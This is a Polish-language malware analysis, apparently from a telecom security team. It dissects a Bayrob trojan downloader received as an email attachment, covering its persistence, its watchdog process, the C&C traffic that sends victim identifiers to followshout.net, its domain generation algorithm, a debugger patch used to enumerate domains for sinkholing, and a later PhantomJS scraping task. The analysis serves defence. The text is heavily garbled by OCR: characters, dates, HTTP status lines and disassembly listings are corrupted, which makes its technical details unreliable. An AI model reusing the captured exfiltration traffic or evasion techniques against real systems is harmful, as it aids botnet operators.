Rozmowy z botnhetem

13 listopada 2015 r. na skrzynke jednego z pracownikow Exatel trafita wiadomos¢
zatytutowana ,You've Just accepted a voice mail! DI5hi”. Zatgcznik wiadomosci
,80rashawn.zip” zawierat plik wykonywalny (emilfecko.exe), ktérego suma MD5
(bf992dec6fc27f9ff55daca7a864a8db) nie figurowata w bazie danych zagrozen
(Virustotal). System antywirusowy zainstalowany na komputerach pracownikow
rowniez nie zidentyfikowat pliku zatgcznika jako potencjalnego zagrozenia. Mimo to
wiadomos¢ zostata zatrzymana przez bramke pocztowg jako podejrzang jeszcze
przed dostarczeniem jej do pracownika. Wiadomos¢ zostata przekazana przez
oficera bezpieczenstwa do analizy celem ustalenia jej szkodliwosci oraz
potencjalnych zamiaréw atakujgcego.

Ponizszy tekst przedstawia wyniki tej analizy technicznej. Ujawnita ona, iz otrzymany
plik wykonywalny byt nowg odmiang konia trojanskiego Bayrob, ktérego poczatki
siegajg 2007 roku. Jego aktywnos¢ korncem 2015 roku zwigzana byta z
rozpoczeciem fazy rozbudowy botnetu.

Wstepna analiza pliku zatgcznika (emilfecko.exe)

Plik przesytany w zatgczniku wiadomo$ci jest tak naprawde modutem startowym
(downloader’em) konia trojanskiego. Ma on za zadanie nawigzanie komunikacji z
serwerem wydawania rozkazow (C&C) kontrolowanym przez operatora botnetu i
pobranie wiasciwego modutu konia trojanskiego.

Po uruchomieniu pliku ,emilfecko.exe”, w katalogu gtéwnym dysku C tworzony jest
katalog o losowej nazwie, ktora nie jest generowana dynamicznie (jest statycznie
wkompilowanym w kod wykonywalny stringiem). W utworzonym katalogu kod
wykonywalny tworzy dwie kopie o rowniez losowych nazwach oraz trzy pliki o
wielkosciach od 0 do 16 bajtéw:
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Nastepnie downloader instaluje sie w systemie, zapewniajgc automatyczne
uruchomienie wraz z jego startem. Downloader tworzy ustuge systemowg o nazwie
sktadajgcej sie z pieciu losowych stow - najprawdopodobniej generowang podczas



tworzenia nowej mutacji trojana (uzywajgc do tego stownika predefiniowanego przez
autora).
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Proces ,emilfecko.exe” uruchamia jedng ze swoich kopii, po czym konczy dziatanie.
Nowo utworzony proces (vkhijxgnrz.exe) uruchamia swojg kopie binarng
(wibmcmzur.exe), z przetgcznikiem ,WATCHDOG” przekazanym w linii komend.
Jedyng funkcjonalnos$cig tak utworzonego procesu jest monitorowanie czy jego
proces potomny jest wcigz uruchomiony. W razie proby zamkniecia procesu
potomnego - jest on natychmiast przywracany.
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Juz po tych kilku symptomach w sposobie zachowania (uzycie przetgcznika o nazwie
SWATCHDOG?”, charakterystyczny sposdb budowy nazw losowych katalogow i
plikdw, imie i nazwisko w nazwie pliku wykonywalnego) mozna rozpoznac rodzine
malware o nazwach kodowych Bayrob / Nivdort. Infekcje malware nalezgcym do tej
rodziny rejestrowano juz w 2007 roku, a ostatnig doktadng analize mutacji malware
tej odmiany opublikowat Jason Geffner w 2013 roku.

Kontynuujgc analize zauwazylisSmy, iz proces gtowny download’era zaraz po
uruchomieniu rozpoczyna proby nawigzania komunikacji HTTP (port 80) z serwerem
wydawania rozkazoéw (C&C). Nastepnie - w razie udanego potgczenia lub po braku
poprawnej odpowiedzi z kolejno odpytanych 85 domen - proces zaprzestaje préb
nawigzania potgczenia na 30 minut. Po tym czasie probuje nawigzac kolejne
potgczenie z serwerem C&C i odebraé potencjalne rozkazy:


https://media.blackhat.com/us-13/US-13-Geffner-End-To-End-Analysis-of-a-Domain-Generating-Algorithm-Malware-Family-WP.pdf
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Przyktadowa nieudana proba nawigzania potgczenia (zdalny serwer nie jest
serwerem kontrolowanym przez operatora botnetu) wyglada nastepujgco:
GET /index.php HTTR/1.8

Accept: */*

Connection: close

Host: winterbottom.net

HTTP/1.1 484 Not Found

Content-Length: 461

Content-Type: text/html

Server: Microsoft-IIS/6.8

MicrosoftOfficellebServer: 5.8 Pub

X-Powered-By: ASP.NET

Date: Sun, 17 Jan 2816 16:18:26 GMT

Connection: close

<html><head><title>Error 484</title>

<meta name="robots” content="noindex">
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"»</head:

<body>

<h2>HTTP Error 484</h2>

<pr<strong>484 Not Found</strong»</p>

<p>The Web server cannot find the file or script you asked for. Please check the URL to ensure that the path is correct.</p>
¢prPlease contact the server's administrator if this problem persists.</p»

</body></html>

Natomiast komunikacja HTTP, ktérg malware rozpoznaje jako poprawng
(identyfikujgcg pozytywnie serwer: ,followshout.net” jako bedacy jego C&C),
zawiera odpowiedz binarng w nastepujgcej postaci:



GET /index.php HTTP/1.@
Accept: */*
Connection: close

Host: followshout.net

HTTP/1.@ 288 OK

Date: Sat, 16 Jan 2016 17:13:85 GMT

P3P: policyref="http://info.yahoo.com/w3c/p3p.xml”, CP="CAD DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi
PUBL IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Content-Type: text/html

Age: 2

Server: ATS/5.8.1
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Po poprawnej odpowiedzi C&C na pakiet powitalny malware (zgdanie ,GET
\index.php”), proces wysyta pakiet POST z buforem zakodowanym Base64,
zawierajgcym dane identyfikujgce nowo przejetg maszyne:

POST /index.php HTTP/1.8

Accept: */*

Connection: close

Host: followshout.net

Content-Type: application/x-www-form-urlencoded
Content-Length: 245

post=7W1pbC5mZWNrbe8BzZXpuYWeuY3olamlrZGZ jZAlgdmtoakpacksyeisleGUld21ibNtenVyLmv4ZQlIbnRlcmZhY2UgUmViwb318cyBQcmaibGVtCVNS c2R1bSBESENQIFRocmVh
ZCBQYWS1bCBBZ2VudAkwMDEIUBFORE JPWDAXC TAWMEMYOUMWMDBGNZK 3M] g@ZmI30TViMWFhNz kyNDkxOTZhNjg50DM3N2YB0AR3DEIDHTTR/1.8 208 0K

Date: Sat, 16 Jan 2816 17:13:86 GMT

P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVALi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi
PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Content-Type: text/html

Age: 2

Server: ATS/5.8.1
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a po zdekodowaniu wyglada nastepujgco:

emil.fecko@XXXXXXXXXXXXX
jikdfed

jvkhijxgnrz.exe
wibmcmzur.exe




Interface Reports Problem
System DHCP Thread Panel Agent
008

SANDBOXO01
000C29C000F6
7284fb795b1aa79249196a6898377£48

i zawiera kolejno:

e adres email (prawdopodobnie nalezgcy do ofiary, z ktérej maszyny wystano
wiadomos¢ po otrzymaniu rozkazu propagacji malware),

e nazwe katalogu, w ktorym instaluje sie downloader malware (jikdfcd),

nazwy utworzonych na dysku kopii downloadera: ustugi systemowej i

watchdog’a,

dwie nazwy, z ktérych jedna jest uzyta jako nazwa ustugi systemowej,

niezidentyfikowang warto$¢ numeryczng (008),

nazwe komputera (SANDBOXO01),

adres MAC karty sieciowej (000C29CO000F6),

sume MD5 (7284fb795b1aa79249196a6898377f48) obliczong na tahcuchu

tekstowym: <adres_email_ofiary><nazwa_komputera>,

Ponizej przedstawiono proces budowy bufora. Najpierw pobierana jest nazwa
komputera:

001E1554 PUSH ESI
001E1555 ° LEA EAX,DWORD PTR SS:[EBP-18]
001E1558 o PUSH EAX
001E1559 o LEA EAX,DWORD PTR SS:[EBP-28]

001E155C o PUSH EAX
001E155D ° C4872200 CALL DWORD PTR DS:[2287C4] ;kernel32.
001E1563 ° TEST EAX,EAX

Nastepnie nazwa komputera jest sklejana ze stringiem zawierajgcym adres email
ofiary:

001E17A1 |> 8D45 D8 LEA EAX,DWORD PTR SS:[EBP-28]
001E17A4 |. 50 PUSH EAX

001E17A5 |. 8D85 DS8FCEFFFF LEA EAX,DWORD PTR SS:[EBP-328]
001E17AB |. 50 PUSH EAX

001E17AC |. E8 6FC80100 CALL jkhqgfdds.001FE020

Do wyjsciowego bufora wstawiany jest string zawierajacy nazwe katalogu
downloader’a, pobrany wczesniej z szyfrowanego bufora statycznych tancuchéw
tekstowych, wkompilowanych w plik PE:

001E17F0 |. FF35 78862200 PUSH DWORD PTR DS:[228678]

001E1800 |. E8 9BC90100 CALL jkhgfdds.O001FE1AQ



Podobnie wstawiane sg nazwy kopii pliku binarnego downloader’a oraz nazwy ustug
systemowych:

001E18FB |. FF35 5C862200 PUSH DWORD PTR DS: [22865C]
005261C0 ASCII

001E190C |. E8 CFOlFFFF CALL jkhgfdds.001D1AEO ; \Jkhgfdds.010A1AEOQ

001E1949 . 8D8D 60FFFFFF LEA ECX,DWORD PTR SS: [EBP-AQ]

001E194F . FF35 74862200 PUSH DWORD PTR DS:[228674] ; /Argl = 00526348
ASCIT

001E1955 |. E8 8601FFFF CALL jkhgfdds.001D1AEQ

\jkhgfdds.010A1AEQ

001E199B | . 8D4D 9C LEA ECX,DWORD PTR SS:[EBP-64]
001E199E |. FF35 6C862200 PUSH DWORD PTR DS:[22866C]
005262A8 ASCII

001E19A4 |. E8 3701FFFF CALL jkhgfdds.001D1AEO
\Jkhagfdds.010A1AEQ

001E19E9 |. OFB705 F28B220>MOVZX EAX,WORD PTR DS: [228BF2]
001E19F0 |. 2D 0520C148 SUB EAX,48C12005

001E19F5 |. 66:A3 F28B2200 MOV WORD PTR DS: [228B
001E19FB |> FF35 70862200 PUSH DWORD PTR DS: [22

005262F8 ASCII

001E1A01 |. 8D8D 38FFFFFF LEA ECX,DWORD PTR SS: [EBP-C8]
001E1AQ07 | . E8 DAOOFFFF CALL jkhgfdds.001D1AEQ
\jkhqgfdds.010A1AEQ

Nastepnie z szyfrowanego pojemnika stringéw pobierany jest fancuch tekstowy
,008”, podajgc jako argument wielkos¢ bufora i identyfikator tarncucha w pojemniku
(2D8F):

001E1A46 . 0905 24D62200 OR DWORD PTR DS: [22D624],EAX
001E1A4C . 6A 04 PUSH 4 ; /Arg2 = 00000004

001E1A4E . 68 8F2D0000 PUSH ; |Argl = 00002D8F
001E1A53 . E8 D8920000 CALL jkhgfdds.O01EAD30 ; \Jjkhgfdds.010BAD30

Zawartos¢ tymczasowego bufora jest niszczona po uzyciu, w celu unikniecia
wykrycia podczas analizy pamieci.

Na koncu procedury tworzona jest suma MD5 sklejonego wczes$niej fancucha,
zawierajgcego nazwe komputera i adres email ofiary. Funkcja skrotu MDS5 - podobnie
jak inne funkcje kryptograficzne w kodzie konia trojanskiego - jest silnie
zobfuskowana (zaciemniona). Ponizszy fragment kodu przedstawia inicjalizacje petli
gtéwnej funkcji MD5 w kodzie malware (inicjalizacje licznikow A, B, C, D algorytmu
MD5). Zielonym kolorem zaznaczono nadmiarowy kod - nie wptywajgcy na logike
dziatania programu - umieszczony wytgcznie w celu utrudnienia analizy przez osobe
przeprowadzajgcg inzynierie odwrotng kodu:



001EE9BO o DWORD PTR DS: [EAX+8],EDX

001EESC6 o ECX, DWORD PTR SS: [EBP-C]
001EE9C9 o > DWORD PTR DS: [ECX+C],ESI

001EE9EC o DWORD PTR DS:[ECX+10],EBX

001EEAQ01 o DWORD PTR DS:[ECX+14],EDI

Generator nazw serwerow wydawania rozkazow

Analizowany malware nie posiada jednego statego serwera wydawania rozkazéw.
Zastosowany zostat w nim mechanizm dynamicznego generowania nazw
domenowych serwerow C&C (DGA: Domain Generation Algorithm), ktérych warto$¢
uzalezniona jest od czasu. Generowane co pot godziny 85 zapytan http - bedgcych
prébg nawigzania komunikacji z serwerem C&C (i pobrania ew. rozkazéw od
operatora botnetu) - operuje na liscie domen przesunietej 0 3 wiersze w stosunku do
sekwencji domen, z ktérg komunikacja byta nawigzywana przed 30 minutami.

Przyktadowo, po uruchomieniu maszyny 17 sierpnia 2016 roku o godzinie 5:20,
malware rozpocznie prébe nawigzania komunikacji ze swoim C&C, zaczynajgc od
nastepujgcej sekwencji nazw domen:

leavenotice.net
finishindeed.net
leaveindeed.net
finishduring.net
leaveduring.net

sweetlength.net
probablylength.net
sweetnotice.net
probablynotice.net

Natomiast o godzinie 5:50 tego samego dnia, poczatek sekwencji bedzie wyglgdat
nastepujgco:

finishduring.net



leaveduring.net
sweetlength.net
probablylength.net
sweetnotice.net
probablynotice.net

sweetindeed.net
probablyindeed.net
sweetduring.net
probablyduring.net

Generowane nazwy domen skfadajg sie ze sklejonych ze sobg dwdch stow
anglojezycznych, pobieranych z wkompilowanego w kod malware statycznego
stownika zawierajgcego 384 pozycje.

Stownik generatora nazw jest zaszyfrowany. Jego deszyfracja nastepuje wytgcznie w
trakcie proby potgczenia z C&C, a po wygenerowaniu zestawu hazw jest on
niszczony (zawartos¢ bufora pamieci jest zerowana). Fragment bufora zawierajgcego
deszyfrowany stownik przed zniszczeniem:
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Nie prébowalismy analizowac algorytmu, ktérego malware uzywa do generowania
nazw. Zamiast tego zmodyfikowaliSmy kod konia trojanskiego tak, by po
uruchomieniu malware sam wygenerowat i zapisat do pliku kolejno wszystkie
mozliwe kombinacje nazw C&C.

W tym celu zmodyfikowalismy sekwencje kodu malware odpowiedzialng za
rozwigzanie nazwy domeny (funkcja ,gethostbyname”) serwera C&C:



[EEF+14]

[EEP-1C]

70 ]
[EEF-168]

0041Dass

Zerujgc wartos¢ zwracang przez funkcje gethostbyname (zwracang w rejestrze EAX),
powodujemy, ze kazde zgdanie malware wystane do serwera DNS o rozwigzanie
nazwy (przed kazda kolejng prébg nawigzania potgczenia z C&C) bedzie wyglgdato
dla malware na niepowodzenie:

0041Da . 4600 | CALL DWOED PTE SBETC]
0041r SSFEFFFF|LEL Ei,DUWORD PTE :[EEP-185]

0041Da
0041r
0041L

0041L . 5 A0 MOv DWORED PTR [EEP-54] ,Edx
004a1Dads| . 7D AC 00 CHMF DWOERD» PTR [EEP-54],0

To spowoduje, ze zadna z odpytanych domen nie zostanie zidentyfikowana przez
malware jako C&C, a malware ponowi proby uzywajgc kolejnych z sekwencji 85
wygenerowanych nazw. Stosujgc ,sitowe” zapetlenie petli iterujgcej po kolejnych
zapytaniach (usuwajgc warunek sprawdzajacy, ile domen juz zostato odpytanych),
utworzymy petle nieskonczona:

How
MoV D

[ﬁEP—yu]

. 8EOD

Po skonfigurowaniu debuggera tak, by logowat do pliku argument przekazywany w
wywotaniu funkcji gethostname (czyli nazwe domeny, ktérg malware chce rozwigzac)
i ponownym uruchomieniu kodu konia trojanskiego, malware sam wygeneruje nam
do pliku petng liste domen:



BE410A22| COMD:  srw
BE410A22| COMD:  srw
B84 10A33| COND:  srw
BE410A22| COMD:  srw
Ba410AZ2| COMD:  sow
BE410AZE| COND:  srw
BE410A22| COND:  srw
BR410A3E| COMD: =W
BEA410A22| COMD:  srw
BE410A22| COMD:  srw
B84 10A33| COND:  srw
BE410A22| COMD:  srw
Ba410AZ2| COMD:  sow
BE410AZE| COND:  srw
BE410A22| COND:  srw
BR410A3E| COMD: =W
BEA410A22| COMD:  srw
BE410A22| COMD:  srw
B84 10A33| COND:  srw
BE410A22| COMD:  srw
Ba410AZ2| COMD:  sow
BE410AZE| COND:  srw
BE410A22| COND:  srw
BR410A3E| COMD: =W
BEA410A22| COMD:  srw
BE410A22| COMD:  srw
B84 10A33| COND:  srw
BE410A22| COMD:  srw
Ba410AZ2| COMD:  sow
BE410AZE| COND:  srw
BE410A22| COND:  srw
BR410A3E| COMD: =W
BEA410A22| COMD:  srw
BE410A22| COMD:  srw
B84 10A33| COND:  srw
BE410A22| COMD:  srw
Ba410AZ2| COMD:  sow
BE410AZE| COND:  srw
BE410A22| COND:  srw

BEA4FAA4 "strengthbusiness.net’
BEA4FAA4 st illbusiness.net"™
BEA4FAAY4 "strengthappear.net™
HEA4FAA4 "=t il lappear.net™
BEA4FAAL "movement instead. net™
HEA4FAAY4 "outsideinstead.net™
BEA4FAA4 "moverentedplain.net™
BEA4FAA4 "outsideedplain.net™
BEA4FAAY4 "mowvensntbright..net™
HEA4FAA4 "outsidebright.net"
BEA4FAAL "movement inside.net™
HEA4FAA4 "outsideinside.net™
BEA4FAA4 "buildinginstead.net™
HEA4FAAL4 "even inginstead.net™
BEA4FAA4 "buildingedplain.net™
BEA4FAA4 "even ingedplain.net™
BEA4FAA4 "buildingbright.net™
HEA4FAA4 "eveningbright.net™
BEA4FAA4 "buildinginside.net™
HEA4FAA4 "eveninginside.net™
BEA4FAA4 "storeinstead.net"™
HEA4FAA4 "might instead.net"™
HEA4FAA4 "storeedplain.net™
BEA4FAA4 "mighterdplain.net"™
BEA4FAA4 "storebright.net™
HEA4FAA4 "mightbright.net™
BEA4FAAY4 "storeinside.net™
HEA4FAA4 "might inside.net™
BEA4FAAY4 "doctorinstead.net”™
BEA4FAAY4 "prettyinstead.net”™
BEA4FAA4 "doctoredplain.net™
BEA4FAAY "prettyenplain.net™
BEA4FAAY4 "doctorbright.net"”
HEA4FAR4 "prettybright.net"”
BEA4FAAY "doctorins ide.net"™
HEA4FAA4 "prettyinside.net"™
BEA4FAAY "fellowinstead.net"™
BEA4FAA4 "doubleinstead.net"™
BEA4FAA4 "fellowerplain.net™

Otrzymujemy 32768 unikatowych domen z postfixem ,.net”. R6znig sie miedzy sobg
interwatem 8 minut i 53 sekund (po takim czasie kon trojanski przesunie o jeden liste
85 zgdanych co pot godziny domen). Jak tatwo policzyé, daje to operatorowi botnetu
doktadnie 12 godzinne okno, w ktérym pierwszy element na liscie 85 przesunie sie
na jej koniec. Jest to czas, w trakcie ktérego operator botnetu przy uzyciu jednej
zarejestrowanej domeny z listy, moze wydac¢ rozkaz wszystkim komputerom
zainfekowanym badanym malware. Posiadajgc petng, wygenerowang liste nazw
domen C&C (ktdérej petna rotacja trwa doktadnie 198 dni), jestesmy w stanie
przewidzie¢ nazwy sekwencji domen z ktérymi danego dnia /o danej godzinie botnet
bedzie probowat nawigzac potgczenie. Daje nam to mozliwos¢ rejestracji domeny,
przejecia komunikacji z downloader’ami botnetu (utworzenia sinkhole’a), a nawet
potencjalnie wydania rozkazu ich deaktywacji.



Pobranie i instalacja modutu gtbwnego malware

Plik wykonywalny ,emilfecko.exe” z zatgcznika ma jeden cel. Jest nim $ciggniecie,
zagniezdzenie w systemie i uruchomienie gtbwnego modutu malware, po nawigzaniu
potgczenia z C&C i otrzymaniu payload’u zawierajgcego plik PE modutu (nie kazde
udane potgczenie z serwerem C&C konczy sie otrzymaniem modutu).

Po otrzymaniu i zdeszyfrowaniu payload’'u HTTP zawierajgcego wykonywalny plik PE
poprzedzony identyfikatorem ,mye” oraz tancuchem tekstowym (1553920)
zawierajgcym wielkosc pliku PE:

01D10020 6 E 35 33 32 3 AD ! mye.1553920.MZ
01D10030
01D10040
01D10050
01D10060

01D10070 4 E C 4C y “ C E
01D10080 72 6 6 6 6 14 20 62 rogram cannot be
01D10090 S y 44 !/ y . run in DOS mode
01D100A0 ; e AH-T
01D100BO 3 A

sprawdzana jest wielkos¢ payloadu (bez nagtéwka HTTP). Jesli jest wieksza niz
32768 (0x8000) bajtow:

013C327E > 53 PUSH EBX

013C327F . 8B5D 08 MOV EBX,DWORD PTR SS: [EBP+8]
013C3282 . 8BCB MOV ECX, EBX

013C3284 . E8 ATESFFFF CALL jkhgfdds.013C1B30
013C3289 . 3D 00800000 CMP EAX,

013C328E . OF86 1E050000 JBE jkhgfdds.013C37B2

plik PE z payloadu jest zapisywany na dysk do pliku tymczasowego (dla tej mutacji
downloadera: C:\jikdfcd\okd5ctct.exe) i uruchamiany:

013CDC51 . 50 PUSH EAX

013CDC52 . 8D45 AC LEA EAX,DWORD PTR SS
013CDC55 . 50 PUSH EAX

013CDC56 . 6A PUSH 0

013CDC58 . 6A PUSH

013CDC5A . 6A PUSH

013CDC5C . 6A PUSH

013CDC5E . 6A PUSH

013CDC60 . 6A PUSH 0

013CDC62 . FF75 0C PUSH DWORD PTR SS: [EBP+C]
013CDC65 . FF75 08 PUSH DWORD PTR SS: [EBP+8]
013CDC68 . FF15 1C874101 CALL DWORD PTR DS:[141871C] ; kernel32.

z przetgcznikiem ,UPDATESOX” w linii komend:

/CALL to CreateProcessA from jkhgfdds.013CDC68
|[ModuleFileName = C:\jikdfcd\okd5ctct.exe

| CommandLine = C:\jikdfecd \jvkhijxgnrz.exe jvkhijxgnrz.exe jnwgnesgkn.exe
|pProcessSecurity = NULL

|pThreadSecurity = NULL

| InheritHandles = FALSE

|CreationFlags = DETACHED PROCESS
|pEnvironment = NULL

|CurrentDir = NULL

|pStartupInfo 0136F310

\pProcessInfo 0136F354




Przetgcznik ,UPDATESOX” instruuje uruchomiony po raz pierwszy modut gtéwny, Zze
ten ma jedynie zainstalowac sie w systemie (kopiujgc swojg kopie binarng do
katalogu systemowego C:\windows\system32 i instalujgc ustuge systemowa) i

zakonczy¢ swoje dziatanie.

W tym czasie watek downloader’a, ktéry uruchomit modut gtéwny usypia sie na 90

sekund, oczekujgc na zakonczenie zagniezdzania sie w systemie modutu:

013C3712 |. 68 905F0100 PUSH

013C3717 |. FF15 DC874101 CALL DWORD PTR DS:[14187DC]

; kernel32.Sleep

po czym usuwa utworzony wczesniej plik tymczasowy modutu:

013C372F . 8D85 E4FEFFFF LEA EAX,DWORD PTR SS:[EBP-11C]
013C3735 . 50 PUSH EAX
013C3736 . FF15 24874101 CALL DWORD PTR DS:[1418724]

;  kernel32.

Nastepnie uruchamiany jest modut gtéwny konia trojanskiego.

Sktada sie on z 3 kopii tego samego pliku PE (Sciggnietego przez downloader)

petnigcych osobne funkcjonalnie role. Sg nimi:

1.Ustuga systemowa uruchamiana wraz ze startem maszyny i utrzymujgca

komunikacje z C&C.

2. Watchdog monitorujgcy czy proces ustugi jest aktywny i czy nie zostat zamkniety.

3. Backdoor oczekujgcy na potgczenie TCP:

= : System 4 149 1952 K
= E SMSS.eHe 308 windows NT Se=sion Manager Microzoft Corporation 3816 K
E CSISE.eHe 386 Client Server Runtime Process Microzoft Corporation 27060 K

= .ﬂ_ll winlogon.exe 380 windows MT Logon Application Microsoft Corporation BE,0492 K

= E SEMVices.ene 428 2.99 Services and Controller app Microsoft Corporation 20,816 kK

E wmacthlp.exe G248 WhAware Activation Helper Whiware, Inc. 16,964 kK

= E suchost ene BYE Generic: Host Process for Wind2 .. Microsoft Carporation 19,666 K
Egzhnst.eﬂe T2 Generic Host Process for Wind2 .. Microsoft Caorporation 21072 K

E suchost.exe 788 Generic Host Process for Wind2 .. Microsoft Corporation 4, 7ED K

E suchost.ene 216 Generic Host Process for Win32 .. Microsoft Corporation 22064

E suchost ene 8hE Generic: Host Process for Wind2 .. Microsoft Carporation 82104 kK

E Spoolsuete 1040 Spooler SubSystem App Microsoft Corparation 3TEIZK

E"g madiz.ere 1068 IS OTCzonsale program Microzoft Caorparation 2B,E12 K

suchost.exe 1404 Generic Host Process for Wind2 .. Microsoft Corporation 17120 K

suchostene 464 Generic Host Process for Win3z .. Microsoft Corporation 10,608 K

vmtoolsd.exe 1524 Whlware Toaols Core Service Whlware, Inc. T9ETE K

E suchost ene Generic: Host Process for Wind2 .. Microsoft Caorporation B34T72 K

3 COM Surrogate Microzoft Caorparation 29,060 K

= E akaolnasolh.exre 29,140 K

E gbhtrebw.exe HED 24832 K

2448 25,284 K

LS54 Shell Microsaft Carparation AT M8 K

| _é enplorer.ese 1232 windows Explorer Microzoft Carparation 94,764 K
ﬁ vmtoolsd.ene 1626 Whware Tools Core Service Whweare, Inc. SRLI3E K
'l;.{."' procesp.exe 1558 149 Sysinternals Process Explorer Syzsinternals - www.sysinternals.... 79,568 K




Proces watchdog’a uruchamiany jest podobnie jak w module dowloader’a.
Przekazuje on w linii komend parametr WATCHDOG” i sciezke docelowego
procesu ustugi systemowej, ktérg watchdog ma monitorowac:

—Image File
Version:  nja
Time: 1/16/2016 11:39 AM
Fath:

I CWINDOWS svstem32gbhtrebw, exe

Command line:

WATCHDOGPROC "o windows! system32) akaolnasalh, exe"

Current direckary:
| CyWINDOWS | system3z)

Parent: akanlnasalh.exel1132)
Uset: MNT AUTHORITYSYSTEM

Started:  11:39:51 AM 1/16/2016

Modut gtdwny stanowigcy trzon logiki konia trojanskiego (odpowiedzialny za
wykonywanie rozkazéw naptywajgcych z C&C), uruchamiany jest jako ustuga
Windows wraz ze startem systemu. Plik ustugi instaluje sie w katalogu:

c:\windows\system32

W przypadku tej mutacji malware plik ustugi instalowany jest pod nazwa:
akaolnasolh.exe

a sama ustuga systemowa instaluje sie pod nazwa:
Installer Controls Panel User Parental

uzywajgc podobnego jak w przypadku download’era schematu, losowej, tatwej do
rozpoznania i nic nie znaczgcej sekwenciji stow.

Trzeci element stanowi proces typu backdoor, nastuchujgcy na wysokim porcie o
statycznym numerze wkompilowanym w plik PE. Plik backdoor’a instaluje sie w
katalogu:

C:\WINDOWS\TEMP

Pod nazwa:



igqbupifx0y3gsdl.exe

Natomiast sam proces backdoor’a uruchamiany jest z
argumentem, TESTPORT29861” zawierajgcym numer portu, na ktérym proces ma
rozpoczgc¢ nastuch TCP.

Pierwszy rozkaz z serwera C&C.:
poszukiwania niemieckich placoéwek
edukacyjnych

Jednym z pierwszych rozkazéw otrzymanych z serwera C&C przez modut gtéwny,
byto pobranie i uruchomienie bezokienkowego interpretera JavaScript - PhantomJsS:

12:02:57 5387028 PM | akaclnasolh.exe 1132 &k TCP Unknown zandbouillocaldomain 143 - 216-233-132.145 cluster.omnis.comehttp SUCCESS
12:02:57 5390132 PR : akaolnasolhege 13z {} TCP Receive sandborlllocaldomain: 1143 -: 216-233-138.146 cluster.omnis.come:http SUCCESS
12:02:57.5518682 PM | akaclnazolh.ete 132 {} TCP Disconnect  sandboxllocaldomain 43 -» 216-229-138.145.cluster omnis.comehttp SUCCESS
12:02:57. 9027188 FM | akaoinasolh.ese 132 {} TCF Connect sandbosillocaldomain: 144 - 216-233-132.145 cluster. omnis.comehttp SUCCESS
12:02:57 061734 PR : akaolnasolhege 13z {} TCPF Send sandborlllocaldomain: 1144 > 216-233-138.146 cluster.omnis.come:http SUCCESS
12:02:50. 5246858 PM | akaolnasolh.exe 132 {} TCP Receive zandbouillocaldomain: 144 - 216-233-132.145 cluster.omnis.comehttp SUCCESS
12:02:63 5440437 PM : akaolnasolhege 13z {} TCP Receive sandborlllocaldomain: 1144 > 216-233-138.146 cluster.omnis.come:http SUCCESS
12:02:50.5440498 PM | akaolnasolh.exe 132 {} TCP Receive zandbouillocaldomain: 144 - 216-233-132.145 cluster.omnis.comehttp SUCCESS
12:0258 5440526 P | akaolnazolh.exe 13z {} TCF Receive sandborillocaldomain: 144 - 216-233-132.145 cluster.omnis.comehttp SUCCESS
12:02:63 5440552 PM : akaolnasolhege 13z {} TCP Unknown sandborlllocaldomain: 1144 > 216-233-138.146 cluster.omnis.come:http SUCCESS
12:02:50 5440643 PM | akaolnasolh.exe 132 {} TCP Receive zandbouillocaldomain: 144 - 216-233-132.145 cluster.omnis.comehttp SUCCESS
12:02:58 5612415 PM : akaolnasolhege 13z {} TCF Disconnect  sandbor0llocaldomain: {44 -: 216-233-138.146 cluster.omnis.come:http SUCCESS

02558730330 PM | akaclnazolhere 1132 &5 Process Create  CWINDOWSW TEMPigqbupifslySgsdl.exe SUCCESS

o t

12:02:68 8793658 FM | igqbupifsOybgsdlere 2820 o Thread Create SUCCESS
12:02:58.8504000 PM | igqbupifuOySazdlere 2820 &5 LoadImage CowINOOW S TempliggbupifsdyGgedl ee SUCCESS
12:02:58.89164 57 PM : igqbupifsySg=dlexe 2820 S Loadlmage Cayw OO W SksystemZ 2 ntdlLdil SUCCESS
1202589921689 PM | igqbupifsiySg=sdlexe 2820 S5 LoadImage CawINOOW Sheystemddikernsl 32.d1 SUCCESS
12:02:59. 3569518 PM igqbupitsOySgsdlene 2820 OF Process Create  CaWINDOWSwsystemd2yphantomiz 198 eue SUCCESS

1 hantom Pron tark

12:02:69,2569644 PR [ phantomizias.ens 2880 £ Thread Create SUCCESS

12:02:69 5737302 PM [ ] phantomijs198.exe 2830 &% Loadlmage Cayw M OOW Sksystem3Ephantomjs138.ene SUCCESS
1z:0z835740076 PR [ phantomijzias.ens 2880 £ LoadImage Caw MO0 W Sheystemd2nndilLdll SUCCESS
1202595751374 PM -] phantomis198.exe 2880 £ LoadImage CawINOOW Sheystemddikernsl 32.d1 SUCCESS

a nastepnie pobranie i uruchomienie w silniku PhantomJS skryptu majgcego na celu
masowe odpytywanie niemieckiej strony z wyszukiwarkg firm (gelbeseite.de):



Event Process | stack |

~Image
Phantomls is a headless Webkit with JavasScript APT
[:] nja
Mame: phantomjs198. exe

Version:  1.9.8.0

Path:
| CIWINDOWS, systern32iphantomijs 195, exe

Command Ling:

I Yhankomis198, exe —-ignore-ssl-errors=yes —weh-security=no bootstrap.is —casper-F

PID: 3640 Architecture:  32-bit

Parent PID: 3556 Yirtualized:  nfa

Session ID: 0 Inkegriky: nia

Liser: MWT AUTHORITYYSYSTEM

Auth ID: 00000000: 000003e7

Starbed: 1/16/2016 12:21:42 PM Ended: 1/16/2016 12:23:02 PM

aore-ssl-errors=yes --web-security=no bookstrap, js --casper-path=, --cli gEli==1=NkE

Kod ,gelbeseite.js” po uruchomieniu rozpoczat odpytywanie HTTP domeny
gelbeseite.de (niemiecka odmiana ,panoramy firm”) w poszukiwaniu niemieckich

instytucji o charakterze edukacyjnym:
http://www.gelbeseiten.de/hansa-gymnasium/schwaig/sl/alphabetisch
http://www.gelbeseiten.de/hochschule-weiden/schwaig/sl/alphabetisch
http://www.gelbeseiten.de/adolf-reichwein-schule/schwaig/sl/alphabetisch
http://www.gelbeseiten.de/august-bebel-schule/schwaig/sl/alphabetisch
http://www.gelbeseiten.de/regionalschule/schwaig/sl/alphabetisch

http://www.gelbeseiten.de/uni-erlangen/schwaig/sl/alphabetisch
